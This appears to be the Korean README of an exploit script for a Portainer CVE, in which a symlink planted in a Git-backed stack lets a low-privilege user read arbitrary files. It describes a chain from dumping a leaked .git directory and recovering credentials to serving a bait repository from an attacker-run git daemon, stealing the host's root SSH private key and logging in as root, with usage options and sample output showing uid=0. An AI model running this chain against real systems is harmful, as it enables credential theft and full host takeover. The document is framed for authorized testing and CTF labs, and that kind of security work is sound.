
CVE-2026-44881에 대한 단일 스크립트 익스플로잇으로, Portainer의 Git 심볼릭 링크 주입 취약점을 통해 스택 생성 권한을 가진 낮은 권한의 인증된 사용자가 임의의 호스트 파일을 읽을 수 있게 합니다.
CVE-2026-44881을 위한 단일 스크립트 익스플로잇입니다. Portainer의 스택 배포 흐름에서 Git 심볼릭 링크 주입 취약점으로, 스택 생성 권한이 있는 모든 낮은 권한의 인증된 사용자가 Portainer 프로세스가 접근 가능한 임의의 파일을 읽을 수 있습니다.
어드바이저리: GHSA-rpgq-m5fp-32wr 영향받는 버전: Portainer CE
2.33.0–2.33.7,2.39.0–2.39.1,2.40.x수정된 버전:2.33.8(LTS),2.39.2(LTS),2.41.0(STS)
취약점은 두 가지 기본 요소의 조합입니다:
go-git v5 는 모드 0o120000 (심볼릭 링크)인 Git 트리 항목을 git clone 중 실제 OS 심볼릭 링크로 변환합니다. 유일하게 차단된 이름은 .gitmodules입니다; 다른 모든 경로 — Portainer가 스택 진입점으로 처리하는 docker-compose.yml을 포함하여 — 임의의 상대 대상을 가진 심볼릭 링크가 될 수 있습니다.Service.GetFileContent (api/filesystems/filesystem.go) 는 os.ReadFile로 스택 진입 파일을 읽으며, 이 함수는 투명하게 OS 심볼릭 링크를 따라갑니다. JoinPaths는 입력 문자열에서 ../를 방지하지만 filepath.EvalSymlinks를 호출하지 않으므로, 이미 디스크에 있는 심볼릭 링크는 대상으로 자유롭게 해석됩니다.Portainer는 일반적으로 컨테이너 내에서 root로 실행됩니다(Docker 소켓 필요). 따라서 읽기 프리미티브의 도달 범위는 컨테이너가 볼 수 있는 모든 것입니다 — 일반적으로 /data/portainer.db (모든 사용자 비밀번호 해시 + 모든 API 토큰이 포함된 BoltDB), /var/run/secrets/kubernetes.io/serviceaccount/token의 Kubernetes 서비스 계정 토큰, /run/secrets/의 Docker Swarm 시크릿, 그리고 모니터링을 위해 호스트 파일시스템을 바인드 마운트한 배포에서는 호스트의 /etc/shadow, /root/.ssh/* 등도 포함됩니다.
이 스크립트는 다음 과정을 수행합니다:
leaked .git on port 80
→ recover lowuser:password from commit history
→ Portainer login
→ create Git-backed stack with clean YAML (validation passes, stack persists)
→ push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated)
→ GET /api/stacks/{id}/file (returns symlink target's content)
→ ssh -i stolen_key root@target
./exploit.sh -t 192.168.1.27
ip addr에서 공격자 IP를 자동 감지하고 .git이 http://target/.git/에 노출되어 있다고 가정합니다. 환경과 일치하지 않는 항목을 재정의하십시오:
-t, --target 대상 IP (필수)
-a, --attacker git 데몬을 위해 Portainer에 알릴 공격자 IP (자동 감지)
-l, --leak-path 노출된 .git 디렉토리 경로 (기본값: /.git)
-p, --portainer-port Portainer HTTP 포트 (기본값: 9000)
-g, --git-port 로컬 git 데몬 포트 (기본값: 9418)
-w, --workdir 스크래치 파일 작업 디렉토리 (기본값: mktemp)
-u, --user .git 열거 건너뛰기; 이 Portainer 사용자 이름 사용
-P, --pass .git 열거 건너뛰기; 이 Portainer 비밀번호 사용
--no-creds-from-git .git 단계 건너뛰고 -u/-P 필요
--no-ssh 최종 SSH 단계 건너뛰기
-h, --help 이 도움말 표시 후 종료
$ ./exploit.sh -t 192.168.1.27
[+] Target : http://192.168.1.27:9000
[+] Attacker IP : 192.168.1.34
[+] Workdir : /tmp/cve44881-xxxx
=== Stage 1 — dump leaked /.git and recover creds ===
[+] git-dumper found, running it...
[+] git history:
3a1f9e2 oops: remove creds from repo, rotate before prod
b4c20a6 add trial onboarding env (temp, will move to vault)
d09a875 init: portal landing + ops notes
[+] Recovered creds: lowuser / lowuser-c0ntain3r-2026
=== Stage 2 — Portainer auth ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Endpoint ID: 1
=== Stage 3 — host the bait Git repo on git://192.168.1.34:9418/repo.git ===
[+] git daemon up (pid 12345)
=== Stage 4 — create the Git-backed stack (clean YAML) ===
[+] Stack ID: 1
=== Stage 5 — push symlink commit + trigger redeploy ===
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}
=== Stage 6 — GET /api/stacks/1/file ===
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
=== Stage 7 — SSH in as root with leaked key ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9
=== Done — exploit complete ===
curl, jq, git (git daemon 포함), sshgit-dumper — pipx install git-dumper. 스크립트에는 git-dumper가 없을 경우 간단한 느슨한 객체 케이스를 처리할 수 있는 최소한의 내장 dumb-HTTP 열거자가 포함되어 있지만, 복잡한 노출된 .git 디렉토리의 경우 전체 도구가 훨씬 더 안정적입니다./:/mnt/host:ro를 가정하고 /mnt/host/root/.ssh/id_rsa를 읽습니다. 다른 파일을 대상으로 하려면 Stage 5의 심볼릭 링크 대상을 편집하십시오 (../../../mnt/host/root/.ssh/id_rsa). Portainer의 go-billy chroot-감옥은 절대 심볼릭 링크를 작업 트리로 재지정하므로, 대상은 반드시 상대 경로여야 합니다..git에서 복구한 자격 증명은 Portainer 범위 내에서만 유효합니다 — SSH나 호스트에 대한 직접 접근을 허용하지 않습니다. 랩은 호스트 수준 RCE에 도달하는 유일한 방법이 CVE 자체를 통해서만 가능하도록 구성되어 있습니다.{"message":"stack config file is invalid"}로 응답할 것으로 예상합니다. 이는 SSH 키가 유효한 YAML이 아니라는 검증기의 불평입니다. 검증기가 실행될 때까지 클론이 이미 작업 트리를 덮어썼으며, 이것이 정확히 우리에게 필요한 상황입니다.MIT. 승인된 테스트 및 CTF/랩 사용 전용.